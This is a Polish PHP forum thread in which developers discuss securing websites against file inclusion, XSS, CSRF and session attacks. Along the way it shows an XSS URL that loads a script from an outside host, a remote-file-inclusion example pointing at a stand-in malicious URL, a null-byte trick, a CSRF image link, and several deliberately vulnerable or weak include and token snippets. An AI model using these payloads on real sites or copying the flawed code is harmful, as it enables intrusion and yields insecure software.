Przeczytałem ostatnio wiec że lepiej jest w adresie url nie podawać nazwy plikow w postaci np. jakastrona.pl/index.php bezpieczniej jest używać /index.html a to ze względu na fakt iż atakujący nie zna od razu odpowiedzi na pytanie: jaki język skryptowy został użyty do stworzenia strony?
A wiec...
Przypuśćmy że mam taki adres:
www.jakasstrona.pl/podstrona.php?zmienna1=wartosc1&zmienna2=wartosc2
Sladami poprawy bezpieczenstwa chcialbym ten adres zamienic np. na:
www.jakasstrona.pl/podstrona_wartosc1_wartosc2_.html
z tego adresu mogłbym sobie wyciagnac wartosci odpowiednich zmiennych.
Zauwazylem tez ze serwis allegro stosuje taki linkowanie do aukcji, a wiec jest to mozliwe.
Zastanawiam sie w jaki sposob dac do zrozumienia mojej stronie aby po wpisaniu tego "bezpiecznego" adresu nie wyswietlala mi sie strona bledu (404)...
Drugie pytanie dotyczy tego gdzie ustawic mozliwosc wykonywania skryptow php w plikach .html?
Za wskazowki bardzo dziękuję i pozdrawiam.
ad1. google + mod_rewrite
ad2. w konfigu php ew. w .htaccess AddType application/x-httpd-php .html
a od siebie dodam: http://www.beldzio.com/ mam nadzieję, że da się tam znaleźć coś ciekawego ;-)
O jednym zapomnieliście - Z includowaniem plików przesadziliście całkowicie! PHP jest językiem działającym po stronie serwera więc jakie jest niebezpieczeństwo?! Można zincludować plik jako przetworzony już, ale napewno nie będzie mógł dostać się do serwera czy innych takich:P
1.
<?php $id = $_GET['id']; include('/strony/' . $id . '.php'); ?>
<?php $id = $_GET['id']; include($id); ?>
<?php include('http://jakas_stronka/config.php'); ?>
@Kicok pkt1 == pkt2 to że dodawane jest automatycznie rozszerzenie nie oznacza, że nie możesz się go pozbyć
@radex_p nie chodzi o samo includowanie, ale o sposób jaki się to robi
<?php $id = $_GET['id']; include('/strony/' . $id . '.php'); ?>
hmm... trochę tu śmietnik... zgubiłem się gdzieś na 3-4 stronie
ale właściwie chodzi mi tylko o jedno... test skryptu logującego... jego oczywiście nie podam ale jeśli byłby ktoś tak miły to proszę o jego przełamanie(na pewno się da ... tak myślę )
poza logowaniem proszę o znalezienie błędów... wszystkich możliwych jakby ktoś miał trochę czasu i chęci
adres http://www.peen.yoyo.pl
PS czuje się jakbym popełniał samobójstwo (modli sie: oby nie złamał tego jakiś zwykły PHP coder )
----------------
jeśli pobieram "dzial" metodą get i wewnątrz skryptu wstawiam prefix "./" oraz sufix w postaci rozszerzenia...(którego raczej staram się nie zdradzić) to w jakim stopniu zabezpieczam skrypt przed niepowołanymi danymi/skryptami?(wiem że o tym było trochę ale się pogubiłem trochę bardziej :/)
co mi grozi jeśli nie ograniczam długości loginu i hasła w skrypcie do logowania? jeśli nie ograniczam też możliwości używania tagów html itp itd....
(konkretny przykład wpisanych danych... najlepiej od razu sprawdzony w skrypcie na stronie wyżej:P)
jak bezpieczne są zmienne przechowywane w $_SESSION? czy jeśli przechowuje w nich login i hasło(forma md5) to jest to w miarę dobre rozwiązanie czy lepiej na prostych stronach unikać przechowywania loginu i hasła w ogóle(wprowadzanie loginu i hasła tylko na potrzeby konkretnego skryptu np. dodającego wpis na stronkę)?
czy coś jeszcze chcę wiedzieć.... -myśli--myśli--myśli... chyba na razie nie
http://www.peen.yoyo.pl/index.php?id=%3Cscript%20src=http://www.cerio.pl/xss.js%20/%3E%3C/script%3E
ad1. Null byte attack
ad2. nic jeśli później nie wyświetlasz danych przekazanych przez usera
ad3. średnio bezpieczne zależy czy używasz tylko "gołej" tablicy $_SESSION i session_start czy też innych ficzerów ;-)
ad boo. hmm... spróbuj zrobić tak żeby nie wywaliło braku strony bo właściwie to co zrobiłeś to nie błąd tylko taka jest nazwa strony której szukałeś :P(nadaje sie do zabezpieczeń w microsofcie :P)
ad1. hmmm jakoś się poprawi... ekhm a właściwie jak wygląda ten typ ataku (to jest coś z ../../../ itd?)
hmm
ad3. czy $_SESSION jest tak bezpieczne jak komputer i połączenie między klientem a serwerem? jeśli użyje https ... to jest jeden z tych ficzerow? domyślam się że w tablicy nie powinienem goło trzymać nazw pól "login" "pass" tylko jakieś identyfikatory(może zaszyfrowane ) trudne do odgadnięcia a każda wartość szyfrowana? :P
PS hmm sorki za zabezpieczenia ogólne w dziale php
EDIT:
poprawiam poprawiam... usuwam podpuchę z pokazywaniem błędnego działu... robie listę dozwolonych działów... ale z tymi ficzerami to jeszcze będę musiał troche popracować bo w manualu PHP niewiele jest o sesjach...(albo nie umiem szukać) więc google się odwiedzi
ad ad boo, to jest błąd i tyle, co za problem przejechac stringa np strip_tags?
ad ad 1/ %00 kończy stringa czyli katalog/plik.php%00.html = katalog/plik.php
ad ad3. ficzery = session.use_only_cookies + session_regenerate_id + session_save_path etc ;-)
ad ad ad 1
wpisuje nazwę innego pliku znajdującego się w katalogu... + %00
teoretycznie wg tego co mówisz powinno mi się wyświetlić a wyświetlić a wyświetla się znany ci już błąd
"Strony "(ukryta nazwa pliku)\0" nie znaleziono."
hmm... jestem po prostu głupi i nie potrafię zrobić włamu na własną stronę
ad ad ad boo poprawione... ale pewnie dalej gdzieś jest dziura
ad ad ad 3 ehh to głębszy temat... z czasem się dopracuje
PS wiesz po prostu przeczytam sobie troche na twojej stronce i na innych temu podobnych
Czytam i czytam i już dobre pół godziny czytam i nie wydaje mi się żeby dało się coś złego zrobić z takim skryptem:
<?php $plik = http://www.php.net/basename($_GET[plik]) if($plik != $_GET[plik]) http://www.php.net/echo '1337?'; else { if(http://www.php.net/file_exists($plik.php) include($plik.'php') else include("strona_glowna.php") } ?>
po pierwsze ten skrypt nie działa
po drugie zamiast file_exists() a is_file().
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.
A właśnie zdałem sobie sprawę, że u mnie takie coś już nie wystąpi <lol> Ech to OOP, jednak ma jakieś plusy
<?php $plik = http://www.php.net/basename($_GET[plik]); if($plik != $_GET[plik]) http://www.php.net/echo '1337?'; else { if(http://www.php.net/file_exists($plik.php)) include($plik.'php'); else include("strona_glowna.php"); } ?>
Poruszacie tutaj temat łączenia stron, a jak sie ma bezpieczeństwo co do wykonywania jakich zapytań lub wysyłania formularzy. Albo ochrona przed spam botami.
Jak pewnego razu boty zaatakowały moją stronę to, nie mogłem się od nich odpędzić. Tak więc dodałem tokena, ale i to nie pomogło w końcu pomyślałem że dodają skrypty przez jakiegoś exploita napisanego specjalnie dla mojej strony. No i w shoutboxie i katalogu stron zastosowałem funkcje eregi. Jeżeli w tekscie wystepuje słowo "url", lub "http" to wtedy odrzuca formularz. Myślę że to jest dobre rozwiązanie, bo wiele spambotów działa podobnie, zapełniają pola text podobnymi tekstami.
co do plików => http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow.freez
co do spamu => http://www.beldzio.com/walka-ze-spambotami.freez
czytalem juz ten temat kilka razy i teraz przeczytalem na nowo na php nie znam sie dobze bo robie duzo bledow ale duzo ludzi pisze ze taki kod jest bezpieczny
<?php $file=$_GET['id'].'.php'; if(http://www.php.net/file_exists($file)) { include $file; } else { http://www.php.net/echo 'Błąd 404'; } ?>
<?php $file=$_GET['id'].'.php'; if(http://www.php.net/file_exists($file)) { include http://www.php.net/basename($file); } else { http://www.php.net/echo 'Błąd 404'; } ?>
<?php $file=$_GET['id'].'.php'; if(http://www.php.net/file_exists($file)) { include $file; } else { http://www.php.net/echo 'Błąd 404'; } ?>
<?php $_GET['id'] = 'http://niebezpiecznastrona.pl/niebezpieczny_skrypt'; ?>
@marcio check this http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow.freez
Chciałbym zwrócić uwagę na jedną rzecz związaną z zapisywaniem identyfikatora i praw dostępu użytkownika do sesji.
Często robi się tak, że po zalogowaniu użytkownika, dane takie jak jego ID oraz jego uprawnienia są zapisywane do sesji. Widziałem wiele razy takie rozwiązania.
Przykładowo:
Zalogowany user: "Kazek", ID=50, ma uprawnienia "administrator serwisu"
Wszystko jest dobrze, tylko gdy np. szef firmy dowie się że Kazek właśnie siedzi w domu przy komputerze i chce ukraść wszystkie dane to nic nie może z tym zrobić. Gdy zmieni mu uprawnienia, zablokuje lub usunie konto, to dopóki Kazek jest zalogowany może robić co chce.
Rozwiązanie jest oczywiście proste, tj zanim skrypty php cokolwiek zrobią, jakiś skrypt sprawdzający pobiera z bazy danych informacje o zalogowanym użytkowniku. Sprawdza czy taki user istnieje, czy nie ma zablokowanego konta oraz jaki ma poziom. W wypadku gdy coś się nie zgadza, blokuje dostęp do wszystkiego i kasuje sesje.
W tym wypadku jedyne co trzeba zapisać do sesji to ID usera bo reszta jest i tak pobierana z bazy.
Poprawcie mnie jeżeli się mylę.
Na tym polega odpowiednie zaprogramowanie autentykacji (uwierzytelniania) i autoryzacji.
Chociaż wiele osób o tym zapomina
Do tego dobrze jest zawsze sesje mieć przechowywane w bazie danych - dzięki temu zawsze można wymusić akcję na zalogowanej osobie
pozdr.
Wrzucenie uprawnień do sesji ma na celu dwie rzeczy:
1. Możliwość wyświetlania opcji zależnych od uprawnień wymaga informacji o wszystkich uprawnieniach użytkownika;
2. Pobieranie drzewa uprawnień podczas każdego żądania byłoby bez sensu.
Jeśli chodzi natomiast o reakcję na zmianę uprawnień dla użytkownika, którego sesja właśnie trwa to nie ma żadnego problemu.
Kwestią jest to że przed każdą operację powinno sprawdzać się szczegółową funkcję, która właśnie jest używana.
Przykładowo: Jeśli komuś wyświetlił się przycisk usuń to nie znaczy, że coś się usunie po kliknięciu weń.
Rozwijając moją poprzednią wypowiedź:
Sesje trzymam w bazie, oprócz standardowych kolumn: SID, Dane, Czas ... mam kolumny: Uzytkownik_ID, Odswiez ...
Gdy użytkownik traci dostęp zmieniam Uzytkownik_ID na wartosc 0 ... a gdy tylko zmieniam uprawnienia to Odswiez przyjmuje wartosc true ... i przy następnym przejściu odświeżam wszystkie dane typu tego gdzie Odśwież jest na true
Jak do tej pory nie miałem problemów z tym, że kogoś wyciąłem a on dalej grzebał mi
pozdr.
Ja uprawnienia pobieram tylko podczas logowania, natomiast przed każdym wywołaniem akcji, kontroler (wykorzystuje do tego napisaną klasę ACL) sprawdza czy użytkownik może daną akcję wywołać. Automatycznie też sprawdzane jest, czy maksymalny czas nieaktywności nie został przekroczony (za to odpowiada handler sesji) - jeśli tak, user zostaje przekierowany na stronę logowania.
Pozdrawiam
Może wrócę do bezpieczeństwa bezpośredniego...
Oto kod zebezpieczający przed wieloma atakami...
nalezy go umieścić przed wszystkimi innymi skryptami...
<?php if (!http://www.php.net/get_magic_quotes_gpc()) { function gpc_value($value) { if (http://www.php.net/is_array($value)) { $value = http://www.php.net/array_map('gpc_value', $value); } else { $value = http://www.php.net/addslashes($value); } return $value; } if (!http://www.php.net/empty($_GET)) { $_GET = gpc_value($_GET); } if (!http://www.php.net/empty($_POST)) { $_POST = gpc_value($_POST); } if (!http://www.php.net/empty($_COOKIE)) { $_COOKIE = gpc_value($_COOKIE); } } ?>
Wszystkimi dotyczącymi formularzy, ciastek, SQL icjection etc.
a ten zabezpiecza przed Session Fixation i Session Hijacking
@MajareQ, poczytaj trochę więcej o bezpieczeństwie, a potem dopiero nas uraczaj cudownymi uniwersalnymi skryptami zabezpieczającymi, ok?
co do drugiego skryptu, wyobraź sobie sytuacje, w której jesteśmy w tej samej sieci lokalnej (na zewnątrz mamy to samo IP), rozpoczyam sesję i daję ci linka. zapobiegłeś session fixation? (nie mówiąc o tym, że ograniczyłeś dostęp ludziom, których ip może się zmieniać w czasie połączenia).
@cool_solar
Raczej brak zrozumienia działania funkcji. Pomyśl poczytaj, a znajdziesz odpowiedź.
<?php $id = $_GET['id']; if (http://www.php.net/is_numeric($id)) { // kod dalszy } else { http://www.php.net/echo'Nie kombinuj!'; } ?>
Znowu Ameryki nie odkryłeś . Poza tym lepiej już użyć is_int(po co przy ID float?), rzutowania(int) lub napisać jakąś klase do tego, np. w swoim frameworku mam tak:
<?php $id = XF::getRequest()->getInteger('id', 0, Request::POST); // Klucz, wartosć domyślna, typ(POST, cookie, server) ?>
ten kod zamienia znaki
Czy ja napisałem ze to zabezpieczy przed wszystkim?
W PHP można to zrobić, poprzez wykonanie na każdym tekstowym parametrze wykorzystywanym do budowy zapytania wbudowanej funkcji addslashes(), która dodaje backslash przed znakami, takimi jak ', " czy \, dzięki czemu znaki te nie są traktowane jak znaki specjalne. Dostępne są również funkcje specyficzne dla poszczególnych silników, takie jak np. oferowana przez serwer MySQL mysql_real_escape_string().
To robi moja funkcja.
@MajareQ
Kombinujesz, a nic nowego nie piszesz. Po co zabezpieczać ciągi znaków i zamieniać " na \", gdy to ma trafić do pliku. Zabezpiecza się i kontroluje tak jak to tego wymaga.
Do budowy zapytań używa się specjalnych funkcji, bo jak MySQL ma \' to PgSQL czy MSSQL (jeśli dobrze pamiętam) ma '' (podwójny) a tamto \' rozwali kwerendę.
Do sprawdzania integer lepiej użyć takiego sprawdzenia, czy jest dany parametr, czy nie jest pusty, a potem ctype_digit() bo w ciągu nie może być nic oprócz cyfr. Bo jak rzutujemy to będzie nie to co chcemy, nie wykryjemy błędnego parametru, tylko wyświetlimy dla np. id = 0.
Ale to wszystko było, przeczytaj i dopisz jak czegoś będzie brakować, a nie powtarzaj to co już jest.
<http://december.com/html/4/element/input.html type='text' name='a3ol5m3in5klnw_name'>
Znalazłem w sieci ciekawą stroną z materiałami video związanymi z atakami na strony internetowe
http://www.uw-team.org/index.php?id=videoarty
Na filmach między innymi:
Wstęp do ataków typu SQL Injection
Atak SQL Injection z użyciem Union Select
SQL Injection - union select + komentowanie kodu
SQL Injection - wykrywanie struktury bazy danych
Blind SQL Injection - odgadywanie haseł po znaku
Błędy w użyciu funkcji include()
Includowanie kodu PHP z innego serwera
Session Poisoning - zatruwanie sesji PHP
XSS - Cross Site Scripting
SQL Injection - dopisywanie danych do bazy
XSS - metody zaawansowane
PHP - Register Globals
PHP - baza userów w pliku TXT
i pare innych...
Witam wszystkich,
Po przeczytaniu całego tematu wzdłuż i w szerz mam wrażenie że już nic nie wiem. Wiele sposobów cała masa kodu który dla każdego kto to czyta chyba wprawia w zawrót głowy. Czy znalazło by się chociaż kilka osób które w prosty i nie zagmatwany, możliwie dobrze skomentowany sposób przedstawiłyby jak poprawnie stworzyc prosty i za razem "bezpieczny' szkielet strony i może umiescilyby to jako przypięty temat... tylko prosiłbym by wypowiedział się ktoś naprawde dobrze obeznany z tematem.
Zakładam schemat w którym za pomocą wywołania o postaci:
http://moja_strona.pl/index.php?m2=grafika2d
<?php if(http://www.php.net/empty($_GET['m2']) or $_GET['m2']=="portfolio_menu_0"){include("portfolio_menu_0.php");} if($_GET['m2']=="grafika2d") {include("portfolio_menu_1.php"); } if($_GET['m2']=="grafika3d") {include("portfolio_menu_2.php"); } if($_GET['m2']=="cv") {include("portfolio_menu_3.php"); } if($_GET['m2']=="blog") {include("portfolio_menu_4.php"); } ?>
jeśli chodzi o inkludowanie plików zerknij tu -> http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow
Szczerze mimo że widze jakies sensowne rozwiązania dla mnie jako poczatkujacego nawet implementacja tego w wlasnym kodzie jest trudna. Zapewne 100 podobnych do mnie osob przegladajac rozne rozwiaznia dojdzie do tego samego wniosku. Można odbic piłeczke i powiedziec... - ucz się dalej, ale z bezpieczeństwem nie ma żartów. Nie chcialbym osobiscie by jakis haker z mlekiem pod nosem rozwalił cała strone a nie daj boże serwer tylko dla tego że moj kod nie był do końca bezpieczny. To co zamieściłem w poprzednim poscie jest juz tak oklepanym tematem na wszystkich forach a mimo to nikt nie zebrał sie ( mowie tu o tych co znaja to na wylot i wiedzą co z tym zrobic ) by pokazac reszcie jak to powinno byc poprawnie krok po kroku.
Ogólnie mówiąc niby zasada jest prosta: "To co podaje lub może w jakiś sposób zmodyfikować użytkownik trzeba przefiltrować"... Dochodzą do tego elementy jakości napisanego kodu (czytaj: dużo doświadczenia). Nie liczcie, że od razu będziecie super administratorami swoich serwisów, ale warto pamiętać o tej zasadzie, którą napisałem powyżej. Chodzi tutaj w szczeególności o tablice POST, GET, COOKIES, SESSION, REQUEST czy SERVER. Cookolwiek jest wyświetlane na stronie lub pakowane do jakiejś bazy i te informacje są podane lub mogą być w jakiś sposób podane przez użytkownika trzeba do przefiltrować.
Gdzies obiło mi się o uszy... lepiej iśc w frameworka niż tworzyc wszystko od podstaw. Zakładam jednak że nie chce frameworka dlatego że:
1: strone czesto da się zrobic duzo prosciej i nie konieczny jest do tego cały silnik jak joomla tylko po to by uzyc jednej funkcji.
2. cała masa komplikacji, zmian, aktualizacji.
Chcialbym znaleźc proste rozwiaznie dla prostej strony bez udziwnień, byle by bylo bezpiecznie przy pomocy np w.w. includów . Jak to będę w stanie ogarnac to wtedy mozna myslec o dalszej nauce i rozwijaniu takiej strony.. Wole zrobic mniej niż zrobic źle..
Może ktos zaproponuje inne lepsze rozwiazanie od mojego?
Ja piszę przeważnie wszystko w edytorze nano :-) Ale jeżeli mam kilka tysięcy linijek to przechodzę na Notepada ++ :-)) Po zapisaniu w Notepadzie ++ takie duże pliki wyglądają później chaotycznie w nano czy pico :-)
Ale pozostając bardziej w temacie to mam pytanie dotyczące zmiennych $_SESSION. Czy użytkownik serwisu www może w jakiś prosty sposób dostać się do zawartości tych zmiennych a jeżeli tak to czy może je w jakiś sposób zmienić zakładając, że używamy np. standardowych ciasteczek.
np. jeżeli mamy $_SESSION[uprawnienia_admina]='NIE' to czy ktoś mógłby się do tego dostać i ustawić na 'TAK'
Jeśli masz babola w skrypcie, to tak.
Można również edytować plik sesji, jeśli serwer jest "zabezpieczony" (dane sesji, to domyślnie zserializowana tablica zapisywana w pliku znajdującym się we współdzielonym folderze).
Witam!
Pisałem już w innym wątku o mojej "metodzie" zabezpieczenia się przed eksperymentami polegającymi na wpisywaniu przez userów wartości lub znaków do paska url na danej stronie serwisu www. Moja metoda okazała się nieskuteczna i beznadziejna... :-( Może dobra na szarych, nieznających się na hakowaniu eksperymentatorów... :-)
Czy jest jakiś sposób (skuteczny) na to, żeby jak np. jesteśmy na stronce http://www.xxxx.pl/index.php?test=1&test2=2, to żeby nie można było RĘCZNIE WPISYWAĆ żadnych zmiennych do paska url. Nie chodzi mi o to, żeby sprawdzać pojedyńczo wpisane przez użytkownika wartości, tylko o to, żeby a priori była taka możliwość wykluczona :-)
hmmm a dlaczego pomysł jest idiotyczny? Może coś niejasno się wyraziłem :-) Po kiego ma ktoś mi wpisywać jakieś zmienne ręcznie w pasku jak wejdzie na serwis? Czy np. na tym forum też trzeba to robić? Po co? Wiadomo co ma to na celu :-) Swoją drogą skrypt też musi mieć zabezpieczenia ale chciałem w ten sposób osiągnąć dodatkowy poziom zabezpieczenia właśnie przed idiotami i eksperymentatorami :-) Można czy nie?
a niby w jaki sposob chcesz zablokowac uzytkownikowi jego pasek w przegladarce? jak ci sie uda to zablokuj mu jeszcze mozliwosc wyłączenia komputera
A juz na powaznie: nie, nie mozna. Nawet jakby mozna bylo, to pamietaj ze do twojej stronki mozna wejść nie tylko z przegladarki...
chyba się nie rozumiemy.... nie mam zamiaru nikomu blokować paska url tylko chciałbym osiągną coś ala
if(!$_SERVER['HTTP_REFERER']) die() ale czego nie można w prosty sposób przeskoczyć....
chodzi o to żeby użytkownik ręcznie nie podmieniał mi zmiennych przekazywanych przez $_GET
zapewniam was, że sprawdzam i filtruje wszystko co użytkownik wpisze ale chciałbym to mieć dodatkowo
hehe no i o takie rozwiązanie mi chodziło i chyba coś takiego zastosuje :-)
kombinujesz jak chcesz sie zabezpieczyc przed wywolywaniem url kasujacych dane z niewiadomego miejsca to poczytaj o CSRF np na http://www.beldzio.com/bezpieczenstwo-mechanizmu-sesji i generalnie o tokenach, doklejasz sobie do url kasujacego losowe znaki przez co otrzymujesz np usun_podstrone.php?id=4&token=fsd65fsd753, a następnie w usun_podstrone spr czy token z url == token z sesji oczywiscie token jest zmieniany co odswiezenie skryptu
Dzieki :-) Chyba będę musiał poczytać :-)
I oczywiście bełdzio dasz sobie czapkę z avatara zerwać, że żadna wtyczka przyśpieszająca przeglądanie stron nie postanowi odczytać z wyprzedzeniem strony usun.php?token=najlepszy_z_najlepszych i nie spowoduje usunięcia danych ?
Pozdr.
Łukasz
generalnie to czapki nie oddam a co do wtyczek sie nie wypowiem bo nie do konca wiem o jakie cudenka chodzi
Był temat na forum kiedy o tym rozmawialiśmy - nie wiem czy to przypadkiem nie był ten temat.
To mogło by popsuć wiele rzeczy nie tylko przy korzystaniu z tokenów. Mam nadzieje, że żadna przeglądarka/wtyczka nie robi ładuje w tle innych linków niż oznaczone przez `rel="prefetch"`.
A do wikipedii, to Waść zaglądał...?
Zagladac zagldalem ale nie zawsze w wikipedi jest duzo napisane w sumie jest napisane to sam co ja napisalem czytalem inne linki i atak polega tylko na tym co opisalem przynajmniej z tego co ja wywnioskowalem.
Mowicie zeby dodac mozliwosc takeigo tokena do wszystkich waznych akcji, bo w sumie atak jest latwiejszy do przeprowadzenia niz XSS z kradzieza cookie.
<?php function checktoken() { if($_SESSION['zeton']!=$_GET['token']) diee_close(); } function generate_token() { $literki="abcdefghijklmnopqrstuwvxyzABCDEFGHIJKLMNOPQRSTUWVXYZ"; $cyferki="0123456789"; for($tokelen=1;$tokenlen<=32;$tokenlen++) { $token.=http://www.php.net/substr($literki,http://www.php.net/rand(0,http://www.php.net/strlen($literki)-1),1).http://www.php.net/substr($cyferki,http://www.php.net/rand(0,http://www.php.net/strlen($cyferki)-1),1); } $_SESSION['zeton']=$token; return $token; } ?>
Nie wiem co robi diee_close() ale jesli nic nie zwraca to moze nie dzialac bo troche nie ma sensu to raz a dwa to jakos kombinujesz ze sklejaniem ciagu i jeszcze nie bedzie on az taki losowy ja 2 dni temu napisac cos takiego jeszcze w praktyce nie uzywalem ale dzialac dziala:
<?php function InitCsrfSession() { $InitLenght = http://www.php.net/rand(1,5); $EndLenght = http://www.php.net/rand(10,20); return http://www.php.net/substr(http://www.php.net/md5(http://www.php.net/time()), $InitLenght,$EndLenght); } function CheckCsrfSession($GetSession) { ($GetSession == $_SESSION['CSRF']) ? $bool = true : $bool = false; return $bool; } //Przypisujesz http://www.php.net/session_start(); $_SESSION['CSRF'] = InitCsrfSession(); ?>
No masz racje :-) U mnie jest rzeczywiście mało losowo :-( Chyba będę musiał dodać coś z md5 tak jak u Ciebie. Dzięki za podpowiedź.
Prawdopodobnie można zbuforować zawartość stronki, podmienić określone wyrażenia i zapisać ponownie :-)
Tak, jak to robi mechanizm sesyjny dopisując SID w przypadku włączonego rewriter_tags.
przejrzałem posty w tym temacie, i ogólnie to wszystkie mówią o trochę bardziej skomplikowanych sytuacjach niż te, z którą ja mam do czynienia tzn:
Strona jest praktycznie statyczna, a php używam tylko do zaincludowania nagłówka i stopki, ale nazwy plików nie pochodzą z posta/geta tylko są zahardcodowane. Czy ciągnie to za sobą jakieś niebezpieczeństwo? Wolę się upewnić. Drugie pytanie, czy mechanizm google search engine może wpłynąć na bezpieczeństwo strony? Uzywam go w ten sposób:
Na stroni z wynikami:
<http://december.com/html/4/element/div.html id="cse-search-results"></http://december.com/html/4/element/div.html> <http://december.com/html/4/element/script.html type="text/javascript"> var googleSearchIframeName = "cse-search-results"; var googleSearchFormName = "cse-search-box"; var googleSearchFrameWidth = 600; var googleSearchDomain = "www.google.com"; var googleSearchPath = "/cse"; </http://december.com/html/4/element/script.html> <http://december.com/html/4/element/script.html type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></http://december.com/html/4/element/script.html>
<http://december.com/html/4/element/form.html action="szukaj.php" id="cse-search-box"> <http://december.com/html/4/element/div.html> <http://december.com/html/4/element/input.html type="hidden" name="cx" value="004632895002302782970:fakn9rzjcvi" /> <http://december.com/html/4/element/input.html type="hidden" name="cof" value="FORID:11" /> <http://december.com/html/4/element/input.html type="hidden" name="ie" value="UTF-8" /> <http://december.com/html/4/element/input.html type="text" name="q" size="31" /> <http://december.com/html/4/element/input.html type="submit" name="sa" value="Szukaj" /> </http://december.com/html/4/element/div.html> </http://december.com/html/4/element/form.html> <http://december.com/html/4/element/script.html type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=pl"></http://december.com/html/4/element/script.html>
Chciałem dowiedzieć się jak zabezpieczać się przed atakami CSRF więc zrobiłem testową aplikację do tego celu:
użytkownik może dodawać i usuwać znajomych oraz pisać komentarze a w nich umieszczać linki. Użytkownik może usunąć ze znajomych użytkownika klikając na link 'usuń' w swoim profilu w znajomych - na końcu linka jest podawany id znajomego do usunięcia:
<http://december.com/html/4/element/a.html href="/profil/znajomi/usun/<?php echo $z->getIdentyfikator() ?>" >usuń ze znajomych</http://december.com/html/4/element/a.html>
<http://december.com/html/4/element/a.html href="/profil/znajomi" onclick="potwierdzUsuniecieZnajomego(<?php echo $z->getIdentyfikator() ?>); " >usuń ze znajomych</http://december.com/html/4/element/a.html>
nie przeciez zamiast odwolywac sie do adresu /profil/znajomi/usun/4 moge odwolac sie do adresu strony z potwierdzeniem, wlasnie kopiuje na blogaska notke o csrf tak wiec rzuc okiem za jakies 5 - 10 min
bełdzio wielkie dzięki - dzięki Tobie nareszcie zrozumiałem jak zabezpieczać się przed tymi atakami Super artykuł.
------------------
@edycja
Mam jeszcze pytanie odnośnie ataków CSRF - w przypadku linków usuwających coś z bazy danych wystarczy, że atakujący w komentarzu wpisze np.:
<http://december.com/html/4/element/img.html src="http://adres.pl?usun=10" />
wystarczy ze stworze na swojej stronie formularz z ukrytymi inputami i widocznym przyciskiem "WYgraj 100 000 pln"; user klika na button i na właściwy serwer przesyłane są dane, których autorem jest nasza ofiara
A jak macie formularze, np. żeby było bardziej obrazowo: formularz do wysyłania odpowiedzi na otrzymane prywatne wiadomości:
<http://december.com/html/4/element/form.html method="post" action="/wyslij_odpowiedz/na_wiadomosc/68/do_uzytkownika/11"> .......... </http://december.com/html/4/element/form.html>
Najprostszym zabezpieczeniem przed atakami CSRF jest poprostu dodawanie id sesji i sprawdzanie jej. Np:
<?php /* ... tu wysylam jakis formularz i jako hidden daję id sesji ... */ if(http://www.php.net/empty($_POST['sess_id']) || $_POST['sess_id'] != http://www.php.net/session_id()) { http://www.php.net/die('Czy napewno nie próbujesz mi zaszkodzić Panie majster?'); } ?>
Ale nie chodzi mi o ataki csrf tylko ataki wykonane programem firebug, dzięki któremu można dowolnie modyfikować kod html strony i dzięki temu zmieniać ID w akcji formularza, co w konsekwencji mego poprzedniego posta spowoduje wysłanie odpowiedzi do innej osoby niż nadawca danej wiadomości. Inny przykład to jak edytujemy dany post na jakimś forum i w akcji formularza za pomocą firebuga zmienimy ID to w ten sposób moglibyśmy zmodyfikować posta innej osoby jeśli po zatwierdzeniu formularza nie sprawdzimy czy dany użytkownik edytuje swój własny post ufając temu, że akcja formularza nie została zmieniona. Chodzi mi o to, że akcje formularza są tak samo niebezpieczne jak adresy URL i łatwe do modyfikacji programami typu firebug. Rozumie ktoś czy dać przykład ?
Rozumie. Tylko nie widzę pytania... bo na jedyne jakie postawiłeś sam sobie odpowiedziałeś.
Dopisująć się do Crozina:
@nieraczek, wygląda na to, że gadasz sam ze sobą
@bełdzio: A co jak ustawisz ID użytkownika, które nie istnieje? W przypadku gdy masz ustawione klucze obce w tabeli piękny błąd wywali.
Poza tym luki, które nawet potencjalnie są niegroźne powinny być szybko poprawiane.
Czesc, mam pytanie dotyczace tablicy $_POST. Wiec napisalem wyrazenie regularne ktorego uzywam w funkcji preg_match.
Nie wiem było nie było, erix mnie już zbeształ że leniwy jestem i mi się szukać nie chce, to się odkupuje i kopie linkiem do funkcji zabezpieczającej przed atakami typu XSS:
http://snipplr.com/view/9596/secure-advanced-better-faster-function-for-removestrip-tagsantixss/
pozdro.
A mogę wiedzieć w czym ta funkcja _Strip_Tag() podana przez cojacka w linku i inne tego typu funkcje pisane w tym wątku mają być lepsze od rdzennej strip_tags() napisanej przez osoby zajmujące się rozwojem języka PHP - osoby z wieloletnim, olbrzymim doświadczeniem oraz wiedzą ? Czyli jak rozumiem uważacie, że Wasza własna funkcja strip_tags() będzie lepsza od tej opracowanej przez ekspertów PHP ?
Nie rozumiesz... strip_tags usuwa znaczniki html, http://pl2.php.net/strip_tags
a ten link co ja podałem wywala nam dodatkowo encje z linków. skrypty js etc..
A po co wywalać skrypty js skoro strip_tags() sprawia, że te skrypty - a właściwie już nie skrypty przestają być groźne, np.:
<?php http://www.php.net/echo http://www.php.net/strip_tags("<script>alert('test')</script>"); ?>
<?php http://www.php.net/echo http://www.php.net/strip_tags("<a href='test'>test</a>"); ?>
<http://december.com/html/4/element/a.html href='test' onclick="alert('test');">test</http://december.com/html/4/element/a.html>
Nie bardzo rozumiem - zrobiłem specjalnie formularz żeby sprawdzić:
<?php if(http://www.php.net/isset($_POST['przycisk'])) { http://www.php.net/echo http://www.php.net/strip_tags($_POST['pole']); //echo $_POST['pole']; } ?> <form action="index.php" method="post"> <input name="pole" type="text" /> <input name="przycisk" type="submit" /> </form>
IMO strip_tags to jedna z durniejszych funkcji. Ktoś coś wpisuje, patrzy... a tu część tekstu ucięta. Zdecydowanie lepiej użyć http://pl.php.net/htmlspecialchars.
Ok Crozin - ale istnieje w końcu coś co obali moją teorię o tym, że nie trzeba zastępować strip_tags() swoją własną bezpieczniejszą funkcją w stylu strip_tags() czy nie ? Wpisanie jakiego kodu w tym formularzu rozłożyłoby tę funkcję na łopatki ?
Zdecydowanie jestem za ~Crozin-em , więcej w tym wątku: http://forum.php.pl/index.php?showtopic=119475
Ale chodzi o to, że w całym tym wątku co kilka postów ludzie próbują pisać własne wersje tych dwóch funkcji: htmlspecialchars() i strip_tags() i podają swoje wersje tych funkcji - chciałbym więc po prostu dowiedzieć się w czym ich własne funkcje są bezpieczniejsze od tych opracowanych przez ekspertów PHP
